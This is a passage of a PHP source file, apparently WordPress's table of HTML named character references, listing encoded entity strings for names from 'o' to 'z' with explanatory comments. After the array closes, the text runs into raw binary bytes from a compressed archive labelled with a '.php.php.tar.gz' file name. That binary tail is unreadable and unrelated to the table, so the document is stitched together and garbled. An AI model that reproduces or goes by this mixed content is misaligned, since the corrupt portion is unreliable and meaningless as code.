			"\x05blac;\x02ő\x05sold;\x03⦼\x04ash;\x03⊝\x03iv;\x03⨸\x03ot;\x03⊙",
			// oelig;[œ].
			"\x04lig;\x02œ",
			// ofcir;[⦿] ofr;[𝔬].
			"\x04cir;\x03⦿\x02r;\x04𝔬",
			// ograve;[ò] ograve[ò] ogon;[˛] ogt;[⧁].
			"\x05rave;\x02ò\x04rave\x02ò\x03on;\x02˛\x02t;\x03⧁",
			// ohbar;[⦵] ohm;[Ω].
			"\x04bar;\x03⦵\x02m;\x02Ω",
			// oint;[∮].
			"\x03nt;\x03∮",
			// olcross;[⦻] olarr;[↺] olcir;[⦾] oline;[‾] olt;[⧀].
			"\x06cross;\x03⦻\x04arr;\x03↺\x04cir;\x03⦾\x04ine;\x03‾\x02t;\x03⧀",
			// omicron;[ο] ominus;[⊖] omacr;[ō] omega;[ω] omid;[⦶].
			"\x06icron;\x02ο\x05inus;\x03⊖\x04acr;\x02ō\x04ega;\x02ω\x03id;\x03⦶",
			// oopf;[𝕠].
			"\x03pf;\x04𝕠",
			// operp;[⦹] oplus;[⊕] opar;[⦷].
			"\x04erp;\x03⦹\x04lus;\x03⊕\x03ar;\x03⦷",
			// orderof;[ℴ] orslope;[⩗] origof;[⊶] orarr;[↻] order;[ℴ] ordf;[ª] ordm;[º] oror;[⩖] ord;[⩝] ordf[ª] ordm[º] orv;[⩛] or;[∨].
			"\x06derof;\x03ℴ\x06slope;\x03⩗\x05igof;\x03⊶\x04arr;\x03↻\x04der;\x03ℴ\x03df;\x02ª\x03dm;\x02º\x03or;\x03⩖\x02d;\x03⩝\x02df\x02ª\x02dm\x02º\x02v;\x03⩛\x01;\x03∨",
			// oslash;[ø] oslash[ø] oscr;[ℴ] osol;[⊘].
			"\x05lash;\x02ø\x04lash\x02ø\x03cr;\x03ℴ\x03ol;\x03⊘",
			// otimesas;[⨶] otilde;[õ] otimes;[⊗] otilde[õ].
			"\x07imesas;\x03⨶\x05ilde;\x02õ\x05imes;\x03⊗\x04ilde\x02õ",
			// ouml;[ö] ouml[ö].
			"\x03ml;\x02ö\x02ml\x02ö",
			// ovbar;[⌽].
			"\x04bar;\x03⌽",
			// parallel;[∥] parsim;[⫳] parsl;[⫽] para;[¶] part;[∂] par;[∥] para[¶].
			"\x07rallel;\x03∥\x05rsim;\x03⫳\x04rsl;\x03⫽\x03ra;\x02¶\x03rt;\x03∂\x02r;\x03∥\x02ra\x02¶",
			// pcy;[п].
			"\x02y;\x02п",
			// pertenk;[‱] percnt;[%] period;[.] permil;[‰] perp;[⊥].
			"\x06rtenk;\x03‱\x05rcnt;\x01%\x05riod;\x01.\x05rmil;\x03‰\x03rp;\x03⊥",
			// pfr;[𝔭].
			"\x02r;\x04𝔭",
			// phmmat;[ℳ] phone;[☎] phiv;[ϕ] phi;[φ].
			"\x05mmat;\x03ℳ\x04one;\x03☎\x03iv;\x02ϕ\x02i;\x02φ",
			// pitchfork;[⋔] piv;[ϖ] pi;[π].
			"\x08tchfork;\x03⋔\x02v;\x02ϖ\x01;\x02π",
			// plusacir;[⨣] planckh;[ℎ] pluscir;[⨢] plussim;[⨦] plustwo;[⨧] planck;[ℏ] plankv;[ℏ] plusdo;[∔] plusdu;[⨥] plusmn;[±] plusb;[⊞] pluse;[⩲] plusmn[±] plus;[+].
			"\x07usacir;\x03⨣\x06anckh;\x03ℎ\x06uscir;\x03⨢\x06ussim;\x03⨦\x06ustwo;\x03⨧\x05anck;\x03ℏ\x05ankv;\x03ℏ\x05usdo;\x03∔\x05usdu;\x03⨥\x05usmn;\x02±\x04usb;\x03⊞\x04use;\x03⩲\x04usmn\x02±\x03us;\x01+",
			// pm;[±].
			"\x01;\x02±",
			// pointint;[⨕] pound;[£] popf;[𝕡] pound[£].
			"\x07intint;\x03⨕\x04und;\x02£\x03pf;\x04𝕡\x03und\x02£",
			// preccurlyeq;[≼] precnapprox;[⪹] precapprox;[⪷] precneqq;[⪵] precnsim;[⋨] profalar;[⌮] profline;[⌒] profsurf;[⌓] precsim;[≾] preceq;[⪯] primes;[ℙ] prnsim;[⋨] propto;[∝] prurel;[⊰] prcue;[≼] prime;[′] prnap;[⪹] prsim;[≾] prap;[⪷] prec;[≺] prnE;[⪵] prod;[∏] prop;[∝] prE;[⪳] pre;[⪯] pr;[≺].
			"\x0aeccurlyeq;\x03≼\x0aecnapprox;\x03⪹\x09ecapprox;\x03⪷\x07ecneqq;\x03⪵\x07ecnsim;\x03⋨\x07ofalar;\x03⌮\x07ofline;\x03⌒\x07ofsurf;\x03⌓\x06ecsim;\x03≾\x05eceq;\x03⪯\x05imes;\x03ℙ\x05nsim;\x03⋨\x05opto;\x03∝\x05urel;\x03⊰\x04cue;\x03≼\x04ime;\x03′\x04nap;\x03⪹\x04sim;\x03≾\x03ap;\x03⪷\x03ec;\x03≺\x03nE;\x03⪵\x03od;\x03∏\x03op;\x03∝\x02E;\x03⪳\x02e;\x03⪯\x01;\x03≺",
			// pscr;[𝓅] psi;[ψ].
			"\x03cr;\x04𝓅\x02i;\x02ψ",
			// puncsp;[ ].
			"\x05ncsp;\x03 ",
			// qfr;[𝔮].
			"\x02r;\x04𝔮",
			// qint;[⨌].
			"\x03nt;\x03⨌",
			// qopf;[𝕢].
			"\x03pf;\x04𝕢",
			// qprime;[⁗].
			"\x05rime;\x03⁗",
			// qscr;[𝓆].
			"\x03cr;\x04𝓆",
			// quaternions;[ℍ] quatint;[⨖] questeq;[≟] quest;[?] quot;[\"] quot[\"].
			"\x0aaternions;\x03ℍ\x06atint;\x03⨖\x06esteq;\x03≟\x04est;\x01?\x03ot;\x01\"\x02ot\x01\"",
			// rAtail;[⤜] rAarr;[⇛] rArr;[⇒].
			"\x05tail;\x03⤜\x04arr;\x03⇛\x03rr;\x03⇒",
			// rBarr;[⤏].
			"\x04arr;\x03⤏",
			// rHar;[⥤].
			"\x03ar;\x03⥤",
			// rationals;[ℚ] raemptyv;[⦳] rarrbfs;[⤠] rarrsim;[⥴] racute;[ŕ] rangle;[⟩] rarrap;[⥵] rarrfs;[⤞] rarrhk;[↪] rarrlp;[↬] rarrpl;[⥅] rarrtl;[↣] ratail;[⤚] radic;[√] rangd;[⦒] range;[⦥] raquo;[»] rarrb;[⇥] rarrc;[⤳] rarrw;[↝] ratio;[∶] race;[∽̱] rang;[⟩] raquo[»] rarr;[→].
			"\x08tionals;\x03ℚ\x07emptyv;\x03⦳\x06rrbfs;\x03⤠\x06rrsim;\x03⥴\x05cute;\x02ŕ\x05ngle;\x03⟩\x05rrap;\x03⥵\x05rrfs;\x03⤞\x05rrhk;\x03↪\x05rrlp;\x03↬\x05rrpl;\x03⥅\x05rrtl;\x03↣\x05tail;\x03⤚\x04dic;\x03√\x04ngd;\x03⦒\x04nge;\x03⦥\x04quo;\x02»\x04rrb;\x03⇥\x04rrc;\x03⤳\x04rrw;\x03↝\x04tio;\x03∶\x03ce;\x05∽̱\x03ng;\x03⟩\x03quo\x02»\x03rr;\x03→",
			// rbrksld;[⦎] rbrkslu;[⦐] rbrace;[}] rbrack;[]] rbarr;[⤍] rbbrk;[❳] rbrke;[⦌].
			"\x06rksld;\x03⦎\x06rkslu;\x03⦐\x05race;\x01}\x05rack;\x01]\x04arr;\x03⤍\x04brk;\x03❳\x04rke;\x03⦌",
			// rcaron;[ř] rcedil;[ŗ] rceil;[⌉] rcub;[}] rcy;[р].
			"\x05aron;\x02ř\x05edil;\x02ŗ\x04eil;\x03⌉\x03ub;\x01}\x02y;\x02р",
			// rdldhar;[⥩] rdquor;[”] rdquo;[”] rdca;[⤷] rdsh;[↳].
			"\x06ldhar;\x03⥩\x05quor;\x03”\x04quo;\x03”\x03ca;\x03⤷\x03sh;\x03↳",
			// realpart;[ℜ] realine;[ℛ] reals;[ℝ] real;[ℜ] rect;[▭] reg;[®] reg[®].
			"\x07alpart;\x03ℜ\x06aline;\x03ℛ\x04als;\x03ℝ\x03al;\x03ℜ\x03ct;\x03▭\x02g;\x02®\x01g\x02®",
			// rfisht;[⥽] rfloor;[⌋] rfr;[𝔯].
			"\x05isht;\x03⥽\x05loor;\x03⌋\x02r;\x04𝔯",
			// rharul;[⥬] rhard;[⇁] rharu;[⇀] rhov;[ϱ] rho;[ρ].
			"\x05arul;\x03⥬\x04ard;\x03⇁\x04aru;\x03⇀\x03ov;\x02ϱ\x02o;\x02ρ",
			// rightleftharpoons;[⇌] rightharpoondown;[⇁] rightrightarrows;[⇉] rightleftarrows;[⇄] rightsquigarrow;[↝] rightthreetimes;[⋌] rightarrowtail;[↣] rightharpoonup;[⇀] risingdotseq;[≓] rightarrow;[→] ring;[˚].
			"\x10ghtleftharpoons;\x03⇌\x0fghtharpoondown;\x03⇁\x0fghtrightarrows;\x03⇉\x0eghtleftarrows;\x03⇄\x0eghtsquigarrow;\x03↝\x0eghtthreetimes;\x03⋌\x0dghtarrowtail;\x03↣\x0dghtharpoonup;\x03⇀\x0bsingdotseq;\x03≓\x09ghtarrow;\x03→\x03ng;\x02˚",
			// rlarr;[⇄] rlhar;[⇌] rlm;[‏].
			"\x04arr;\x03⇄\x04har;\x03⇌\x02m;\x03‏",
			// rmoustache;[⎱] rmoust;[⎱].
			"\x09oustache;\x03⎱\x05oust;\x03⎱",
			// rnmid;[⫮].
			"\x04mid;\x03⫮",
			// rotimes;[⨵] roplus;[⨮] roang;[⟭] roarr;[⇾] robrk;[⟧] ropar;[⦆] ropf;[𝕣].
			"\x06times;\x03⨵\x05plus;\x03⨮\x04ang;\x03⟭\x04arr;\x03⇾\x04brk;\x03⟧\x04par;\x03⦆\x03pf;\x04𝕣",
			// rppolint;[⨒] rpargt;[⦔] rpar;[)].
			"\x07polint;\x03⨒\x05argt;\x03⦔\x03ar;\x01)",
			// rrarr;[⇉].
			"\x04arr;\x03⇉",
			// rsaquo;[›] rsquor;[’] rsquo;[’] rscr;[𝓇] rsqb;[]] rsh;[↱].
			"\x05aquo;\x03›\x05quor;\x03’\x04quo;\x03’\x03cr;\x04𝓇\x03qb;\x01]\x02h;\x03↱",
			// rtriltri;[⧎] rthree;[⋌] rtimes;[⋊] rtrie;[⊵] rtrif;[▸] rtri;[▹].
			"\x07riltri;\x03⧎\x05hree;\x03⋌\x05imes;\x03⋊\x04rie;\x03⊵\x04rif;\x03▸\x03ri;\x03▹",
			// ruluhar;[⥨].
			"\x06luhar;\x03⥨",
			// rx;[℞].
			"\x01;\x03℞",
			// sacute;[ś].
			"\x05cute;\x02ś",
			// sbquo;[‚].
			"\x04quo;\x03‚",
			// scpolint;[⨓] scaron;[š] scedil;[ş] scnsim;[⋩] sccue;[≽] scirc;[ŝ] scnap;[⪺] scsim;[≿] scap;[⪸] scnE;[⪶] scE;[⪴] sce;[⪰] scy;[с] sc;[≻].
			"\x07polint;\x03⨓\x05aron;\x02š\x05edil;\x02ş\x05nsim;\x03⋩\x04cue;\x03≽\x04irc;\x02ŝ\x04nap;\x03⪺\x04sim;\x03≿\x03ap;\x03⪸\x03nE;\x03⪶\x02E;\x03⪴\x02e;\x03⪰\x02y;\x02с\x01;\x03≻",
			// sdotb;[⊡] sdote;[⩦] sdot;[⋅].
			"\x04otb;\x03⊡\x04ote;\x03⩦\x03ot;\x03⋅",
			// setminus;[∖] searrow;[↘] searhk;[⤥] seswar;[⤩] seArr;[⇘] searr;[↘] setmn;[∖] sect;[§] semi;[;] sext;[✶] sect[§].
			"\x07tminus;\x03∖\x06arrow;\x03↘\x05arhk;\x03⤥\x05swar;\x03⤩\x04Arr;\x03⇘\x04arr;\x03↘\x04tmn;\x03∖\x03ct;\x02§\x03mi;\x01;\x03xt;\x03✶\x02ct\x02§",
			// sfrown;[⌢] sfr;[𝔰].
			"\x05rown;\x03⌢\x02r;\x04𝔰",
			// shortparallel;[∥] shortmid;[∣] shchcy;[щ] sharp;[♯] shcy;[ш] shy;[­] shy[­].
			"\x0cortparallel;\x03∥\x07ortmid;\x03∣\x05chcy;\x02щ\x04arp;\x03♯\x03cy;\x02ш\x02y;\x02­\x01y\x02­",
			// simplus;[⨤] simrarr;[⥲] sigmaf;[ς] sigmav;[ς] simdot;[⩪] sigma;[σ] simeq;[≃] simgE;[⪠] simlE;[⪟] simne;[≆] sime;[≃] simg;[⪞] siml;[⪝] sim;[∼].
			"\x06mplus;\x03⨤\x06mrarr;\x03⥲\x05gmaf;\x02ς\x05gmav;\x02ς\x05mdot;\x03⩪\x04gma;\x02σ\x04meq;\x03≃\x04mgE;\x03⪠\x04mlE;\x03⪟\x04mne;\x03≆\x03me;\x03≃\x03mg;\x03⪞\x03ml;\x03⪝\x02m;\x03∼",
			// slarr;[←].
			"\x04arr;\x03←",
			// smallsetminus;[∖] smeparsl;[⧤] smashp;[⨳] smile;[⌣] smtes;[⪬︀] smid;[∣] smte;[⪬] smt;[⪪].
			"\x0callsetminus;\x03∖\x07eparsl;\x03⧤\x05ashp;\x03⨳\x04ile;\x03⌣\x04tes;\x06⪬︀\x03id;\x03∣\x03te;\x03⪬\x02t;\x03⪪",
			// softcy;[ь] solbar;[⌿] solb;[⧄] sopf;[𝕤] sol;[/].
			"\x05ftcy;\x02ь\x05lbar;\x03⌿\x03lb;\x03⧄\x03pf;\x04𝕤\x02l;\x01/",
			// spadesuit;[♠] spades;[♠] spar;[∥].
			"\x08adesuit;\x03♠\x05ades;\x03♠\x03ar;\x03∥",
			// sqsubseteq;[⊑] sqsupseteq;[⊒] sqsubset;[⊏] sqsupset;[⊐] sqcaps;[⊓︀] sqcups;[⊔︀] sqsube;[⊑] sqsupe;[⊒] square;[□] squarf;[▪] sqcap;[⊓] sqcup;[⊔] sqsub;[⊏] sqsup;[⊐] squf;[▪] squ;[□].
			"\x09subseteq;\x03⊑\x09supseteq;\x03⊒\x07subset;\x03⊏\x07supset;\x03⊐\x05caps;\x06⊓︀\x05cups;\x06⊔︀\x05sube;\x03⊑\x05supe;\x03⊒\x05uare;\x03□\x05uarf;\x03▪\x04cap;\x03⊓\x04cup;\x03⊔\x04sub;\x03⊏\x04sup;\x03⊐\x03uf;\x03▪\x02u;\x03□",
			// srarr;[→].
			"\x04arr;\x03→",
			// ssetmn;[∖] ssmile;[⌣] sstarf;[⋆] sscr;[𝓈].
			"\x05etmn;\x03∖\x05mile;\x03⌣\x05tarf;\x03⋆\x03cr;\x04𝓈",
			// straightepsilon;[ϵ] straightphi;[ϕ] starf;[★] strns;[¯] star;[☆].
			"\x0eraightepsilon;\x02ϵ\x0araightphi;\x02ϕ\x04arf;\x03★\x04rns;\x02¯\x03ar;\x03☆",
			// succcurlyeq;[≽] succnapprox;[⪺] subsetneqq;[⫋] succapprox;[⪸] supsetneqq;[⫌] subseteqq;[⫅] subsetneq;[⊊] supseteqq;[⫆] supsetneq;[⊋] subseteq;[⊆] succneqq;[⪶] succnsim;[⋩] supseteq;[⊇] subedot;[⫃] submult;[⫁] subplus;[⪿] subrarr;[⥹] succsim;[≿] supdsub;[⫘] supedot;[⫄] suphsol;[⟉] suphsub;[⫗] suplarr;[⥻] supmult;[⫂] supplus;[⫀] subdot;[⪽] subset;[⊂] subsim;[⫇] subsub;[⫕] subsup;[⫓] succeq;[⪰] supdot;[⪾] supset;[⊃] supsim;[⫈] supsub;[⫔] supsup;[⫖] subnE;[⫋] subne;[⊊] supnE;[⫌] supne;[⊋] subE;[⫅] sube;[⊆] succ;[≻] sung;[♪] sup1;[¹] sup2;[²] sup3;[³] supE;[⫆] supe;[⊇] sub;[⊂] sum;[∑] sup1[¹] sup2[²] sup3[³] sup;[⊃].
			"\x0acccurlyeq;\x03≽\x0accnapprox;\x03⪺\x09bsetneqq;\x03⫋\x09ccapprox;\x03⪸\x09psetneqq;\x03⫌\x08bseteqq;\x03⫅\x08bsetneq;\x03⊊\x08pseteqq;\x03⫆\x08psetneq;\x03⊋\x07bseteq;\x03⊆\x07ccneqq;\x03⪶\x07ccnsim;\x03⋩\x07pseteq;\x03⊇\x06bedot;\x03⫃\x06bmult;\x03⫁\x06bplus;\x03⪿\x06brarr;\x03⥹\x06ccsim;\x03≿\x06pdsub;\x03⫘\x06pedot;\x03⫄\x06phsol;\x03⟉\x06phsub;\x03⫗\x06plarr;\x03⥻\x06pmult;\x03⫂\x06pplus;\x03⫀\x05bdot;\x03⪽\x05bset;\x03⊂\x05bsim;\x03⫇\x05bsub;\x03⫕\x05bsup;\x03⫓\x05cceq;\x03⪰\x05pdot;\x03⪾\x05pset;\x03⊃\x05psim;\x03⫈\x05psub;\x03⫔\x05psup;\x03⫖\x04bnE;\x03⫋\x04bne;\x03⊊\x04pnE;\x03⫌\x04pne;\x03⊋\x03bE;\x03⫅\x03be;\x03⊆\x03cc;\x03≻\x03ng;\x03♪\x03p1;\x02¹\x03p2;\x02²\x03p3;\x02³\x03pE;\x03⫆\x03pe;\x03⊇\x02b;\x03⊂\x02m;\x03∑\x02p1\x02¹\x02p2\x02²\x02p3\x02³\x02p;\x03⊃",
			// swarrow;[↙] swarhk;[⤦] swnwar;[⤪] swArr;[⇙] swarr;[↙].
			"\x06arrow;\x03↙\x05arhk;\x03⤦\x05nwar;\x03⤪\x04Arr;\x03⇙\x04arr;\x03↙",
			// szlig;[ß] szlig[ß].
			"\x04lig;\x02ß\x03lig\x02ß",
			// target;[⌖] tau;[τ].
			"\x05rget;\x03⌖\x02u;\x02τ",
			// tbrk;[⎴].
			"\x03rk;\x03⎴",
			// tcaron;[ť] tcedil;[ţ] tcy;[т].
			"\x05aron;\x02ť\x05edil;\x02ţ\x02y;\x02т",
			// tdot;[⃛].
			"\x03ot;\x03⃛",
			// telrec;[⌕].
			"\x05lrec;\x03⌕",
			// tfr;[𝔱].
			"\x02r;\x04𝔱",
			// thickapprox;[≈] therefore;[∴] thetasym;[ϑ] thicksim;[∼] there4;[∴] thetav;[ϑ] thinsp;[ ] thksim;[∼] theta;[θ] thkap;[≈] thorn;[þ] thorn[þ].
			"\x0aickapprox;\x03≈\x08erefore;\x03∴\x07etasym;\x02ϑ\x07icksim;\x03∼\x05ere4;\x03∴\x05etav;\x02ϑ\x05insp;\x03 \x05ksim;\x03∼\x04eta;\x02θ\x04kap;\x03≈\x04orn;\x02þ\x03orn\x02þ",
			// timesbar;[⨱] timesb;[⊠] timesd;[⨰] tilde;[˜] times;[×] times[×] tint;[∭].
			"\x07mesbar;\x03⨱\x05mesb;\x03⊠\x05mesd;\x03⨰\x04lde;\x02˜\x04mes;\x02×\x03mes\x02×\x03nt;\x03∭",
			// topfork;[⫚] topbot;[⌶] topcir;[⫱] toea;[⤨] topf;[𝕥] tosa;[⤩] top;[⊤].
			"\x06pfork;\x03⫚\x05pbot;\x03⌶\x05pcir;\x03⫱\x03ea;\x03⤨\x03pf;\x04𝕥\x03sa;\x03⤩\x02p;\x03⊤",
			// tprime;[‴].
			"\x05rime;\x03‴",
			// trianglerighteq;[⊵] trianglelefteq;[⊴] triangleright;[▹] triangledown;[▿] triangleleft;[◃] triangleq;[≜] triangle;[▵] triminus;[⨺] trpezium;[⏢] triplus;[⨹] tritime;[⨻] tridot;[◬] trade;[™] trisb;[⧍] trie;[≜].
			"\x0eianglerighteq;\x03⊵\x0dianglelefteq;\x03⊴\x0ciangleright;\x03▹\x0biangledown;\x03▿\x0biangleleft;\x03◃\x08iangleq;\x03≜\x07iangle;\x03▵\x07iminus;\x03⨺\x07pezium;\x03⏢\x06iplus;\x03⨹\x06itime;\x03⨻\x05idot;\x03◬\x04ade;\x03™\x04isb;\x03⧍\x03ie;\x03≜",
			// tstrok;[ŧ] tshcy;[ћ] tscr;[𝓉] tscy;[ц].
			"\x05trok;\x02ŧ\x04hcy;\x02ћ\x03cr;\x04𝓉\x03cy;\x02ц",
			// twoheadrightarrow;[↠] twoheadleftarrow;[↞] twixt;[≬].
			"\x10oheadrightarrow;\x03↠\x0foheadleftarrow;\x03↞\x04ixt;\x03≬",
			// uArr;[⇑].
			"\x03rr;\x03⇑",
			// uHar;[⥣].
			"\x03ar;\x03⥣",
			// uacute;[ú] uacute[ú] uarr;[↑].
			"\x05cute;\x02ú\x04cute\x02ú\x03rr;\x03↑",
			// ubreve;[ŭ] ubrcy;[ў].
			"\x05reve;\x02ŭ\x04rcy;\x02ў",
			// ucirc;[û] ucirc[û] ucy;[у].
			"\x04irc;\x02û\x03irc\x02û\x02y;\x02у",
			// udblac;[ű] udarr;[⇅] udhar;[⥮].
			"\x05blac;\x02ű\x04arr;\x03⇅\x04har;\x03⥮",
			// ufisht;[⥾] ufr;[𝔲].
			"\x05isht;\x03⥾\x02r;\x04𝔲",
			// ugrave;[ù] ugrave[ù].
			"\x05rave;\x02ù\x04rave\x02ù",
			// uharl;[↿] uharr;[↾] uhblk;[▀].
			"\x04arl;\x03↿\x04arr;\x03↾\x04blk;\x03▀",
			// ulcorner;[⌜] ulcorn;[⌜] ulcrop;[⌏] ultri;[◸].
			"\x07corner;\x03⌜\x05corn;\x03⌜\x05crop;\x03⌏\x04tri;\x03◸",
			// umacr;[ū] uml;[¨] uml[¨].
			"\x04acr;\x02ū\x02l;\x02¨\x01l\x02¨",
			// uogon;[ų] uopf;[𝕦].
			"\x04gon;\x02ų\x03pf;\x04𝕦",
			// upharpoonright;[↾] upharpoonleft;[↿] updownarrow;[↕] upuparrows;[⇈] uparrow;[↑] upsilon;[υ] uplus;[⊎] upsih;[ϒ] upsi;[υ].
			"\x0dharpoonright;\x03↾\x0charpoonleft;\x03↿\x0adownarrow;\x03↕\x09uparrows;\x03⇈\x06arrow;\x03↑\x06silon;\x02υ\x04lus;\x03⊎\x04sih;\x02ϒ\x03si;\x02υ",
			// urcorner;[⌝] urcorn;[⌝] urcrop;[⌎] uring;[ů] urtri;[◹].
			"\x07corner;\x03⌝\x05corn;\x03⌝\x05crop;\x03⌎\x04ing;\x02ů\x04tri;\x03◹",
			// uscr;[𝓊].
			"\x03cr;\x04𝓊",
			// utilde;[ũ] utdot;[⋰] utrif;[▴] utri;[▵].
			"\x05ilde;\x02ũ\x04dot;\x03⋰\x04rif;\x03▴\x03ri;\x03▵",
			// uuarr;[⇈] uuml;[ü] uuml[ü].
			"\x04arr;\x03⇈\x03ml;\x02ü\x02ml\x02ü",
			// uwangle;[⦧].
			"\x06angle;\x03⦧",
			// vArr;[⇕].
			"\x03rr;\x03⇕",
			// vBarv;[⫩] vBar;[⫨].
			"\x04arv;\x03⫩\x03ar;\x03⫨",
			// vDash;[⊨].
			"\x04ash;\x03⊨",
			// vartriangleright;[⊳] vartriangleleft;[⊲] varsubsetneqq;[⫋︀] varsupsetneqq;[⫌︀] varsubsetneq;[⊊︀] varsupsetneq;[⊋︀] varepsilon;[ϵ] varnothing;[∅] varpropto;[∝] varkappa;[ϰ] varsigma;[ς] vartheta;[ϑ] vangrt;[⦜] varphi;[ϕ] varrho;[ϱ] varpi;[ϖ] varr;[↕].
			"\x0frtriangleright;\x03⊳\x0ertriangleleft;\x03⊲\x0crsubsetneqq;\x06⫋︀\x0crsupsetneqq;\x06⫌︀\x0brsubsetneq;\x06⊊︀\x0brsupsetneq;\x06⊋︀\x09repsilon;\x02ϵ\x09rnothing;\x03∅\x08rpropto;\x03∝\x07rkappa;\x02ϰ\x07rsigma;\x02ς\x07rtheta;\x02ϑ\x05ngrt;\x03⦜\x05rphi;\x02ϕ\x05rrho;\x02ϱ\x04rpi;\x02ϖ\x03rr;\x03↕",
			// vcy;[в].
			"\x02y;\x02в",
			// vdash;[⊢].
			"\x04ash;\x03⊢",
			// veebar;[⊻] vellip;[⋮] verbar;[|] veeeq;[≚] vert;[|] vee;[∨].
			"\x05ebar;\x03⊻\x05llip;\x03⋮\x05rbar;\x01|\x04eeq;\x03≚\x03rt;\x01|\x02e;\x03∨",
			// vfr;[𝔳].
			"\x02r;\x04𝔳",
			// vltri;[⊲].
			"\x04tri;\x03⊲",
			// vnsub;[⊂⃒] vnsup;[⊃⃒].
			"\x04sub;\x06⊂⃒\x04sup;\x06⊃⃒",
			// vopf;[𝕧].
			"\x03pf;\x04𝕧",
			// vprop;[∝].
			"\x04rop;\x03∝",
			// vrtri;[⊳].
			"\x04tri;\x03⊳",
			// vsubnE;[⫋︀] vsubne;[⊊︀] vsupnE;[⫌︀] vsupne;[⊋︀] vscr;[𝓋].
			"\x05ubnE;\x06⫋︀\x05ubne;\x06⊊︀\x05upnE;\x06⫌︀\x05upne;\x06⊋︀\x03cr;\x04𝓋",
			// vzigzag;[⦚].
			"\x06igzag;\x03⦚",
			// wcirc;[ŵ].
			"\x04irc;\x02ŵ",
			// wedbar;[⩟] wedgeq;[≙] weierp;[℘] wedge;[∧].
			"\x05dbar;\x03⩟\x05dgeq;\x03≙\x05ierp;\x03℘\x04dge;\x03∧",
			// wfr;[𝔴].
			"\x02r;\x04𝔴",
			// wopf;[𝕨].
			"\x03pf;\x04𝕨",
			// wp;[℘].
			"\x01;\x03℘",
			// wreath;[≀] wr;[≀].
			"\x05eath;\x03≀\x01;\x03≀",
			// wscr;[𝓌].
			"\x03cr;\x04𝓌",
			// xcirc;[◯] xcap;[⋂] xcup;[⋃].
			"\x04irc;\x03◯\x03ap;\x03⋂\x03up;\x03⋃",
			// xdtri;[▽].
			"\x04tri;\x03▽",
			// xfr;[𝔵].
			"\x02r;\x04𝔵",
			// xhArr;[⟺] xharr;[⟷].
			"\x04Arr;\x03⟺\x04arr;\x03⟷",
			// xi;[ξ].
			"\x01;\x02ξ",
			// xlArr;[⟸] xlarr;[⟵].
			"\x04Arr;\x03⟸\x04arr;\x03⟵",
			// xmap;[⟼].
			"\x03ap;\x03⟼",
			// xnis;[⋻].
			"\x03is;\x03⋻",
			// xoplus;[⨁] xotime;[⨂] xodot;[⨀] xopf;[𝕩].
			"\x05plus;\x03⨁\x05time;\x03⨂\x04dot;\x03⨀\x03pf;\x04𝕩",
			// xrArr;[⟹] xrarr;[⟶].
			"\x04Arr;\x03⟹\x04arr;\x03⟶",
			// xsqcup;[⨆] xscr;[𝓍].
			"\x05qcup;\x03⨆\x03cr;\x04𝓍",
			// xuplus;[⨄] xutri;[△].
			"\x05plus;\x03⨄\x04tri;\x03△",
			// xvee;[⋁].
			"\x03ee;\x03⋁",
			// xwedge;[⋀].
			"\x05edge;\x03⋀",
			// yacute;[ý] yacute[ý] yacy;[я].
			"\x05cute;\x02ý\x04cute\x02ý\x03cy;\x02я",
			// ycirc;[ŷ] ycy;[ы].
			"\x04irc;\x02ŷ\x02y;\x02ы",
			// yen;[¥] yen[¥].
			"\x02n;\x02¥\x01n\x02¥",
			// yfr;[𝔶].
			"\x02r;\x04𝔶",
			// yicy;[ї].
			"\x03cy;\x02ї",
			// yopf;[𝕪].
			"\x03pf;\x04𝕪",
			// yscr;[𝓎].
			"\x03cr;\x04𝓎",
			// yucy;[ю] yuml;[ÿ] yuml[ÿ].
			"\x03cy;\x02ю\x03ml;\x02ÿ\x02ml\x02ÿ",
			// zacute;[ź].
			"\x05cute;\x02ź",
			// zcaron;[ž] zcy;[з].
			"\x05aron;\x02ž\x02y;\x02з",
			// zdot;[ż].
			"\x03ot;\x02ż",
			// zeetrf;[ℨ] zeta;[ζ].
			"\x05etrf;\x03ℨ\x03ta;\x02ζ",
			// zfr;[𝔷].
			"\x02r;\x04𝔷",
			// zhcy;[ж].
			"\x03cy;\x02ж",
			// zigrarr;[⇝].
			"\x06grarr;\x03⇝",
			// zopf;[𝕫].
			"\x03pf;\x04𝕫",
			// zscr;[𝓏].
			"\x03cr;\x04𝓏",
			// zwnj;[‌] zwj;[‍].
			"\x03nj;\x03‌\x02j;\x03‍",
		),
		"small_words" => "GT\x00LT\x00gt\x00lt\x00",
		"small_mappings" => array(
			">",
			"<",
			">",
			"<",
		)
	)
);
PKE�N\s*���2class-wp-html-unsupported-exception.php.php.tar.gznu�[�����Wko�6��W��~5MR [�nE��k����m�H���xC���%����:d DD����s��r��M�lTV�\%���hQ�N�*�n�Q�Q��8
;�vUY�e:�7�,�2zXf���c��m�q\/�G�{�N�������G�4�e��r^X��'b��Wߠ]���a���?��o/ޜ��ń&�O^������R$Wb.������p@/]5���^�>8%�tx<�yԫC�2VF�T9��tI>��TZ�����VV�jWX8���GJ�*��}&<	��k�ɔҊ���붜�*���c`����F���K�E�mO�u"�H�‘7��n(1E�+��/��O'l�J��YH��>M+O�����`'�}0�Uy��:'@o@8X,2	���;Z��.3U����X)�;l�R+-o��3�2�
��_������̵�
{4;P�U��L�8��Z
HĔ�YS����i��)1�j���ر��U����o{������pL?�
M�y�+�Sit��Q�ό���i5�3��Z@[����("�����&��͸\��܎��%�$u�����3���D!���7��W@݈�id�‘
�􃱚56�n4�Q8�_�Y�Dy'�Yp���P僗B,	t��lٲ��[5��>)#����d5��J9���N4W%	LDjb�`�N�$������v�ZXr�Ń�G��x��AHp���U1���.= �����%�|LMR�Ɍ����7�[�kg���?�T�2������
T
*yy�����z��V�=ˊ
a�o��Ҫ�;��""<�Z�P��F>P8��5�m&\�)~�0�`�s*⹏[��Dfƒ�t1i/`����
��V7��s�)�"�P*����G�n?~F"W\�
/�94�T[j28���-�y�!�T�<���W�˯�8NbfNҤ �X>y�-��r���<T$�r��we�&m	R��z�1ֳJ'�	�rD�J��
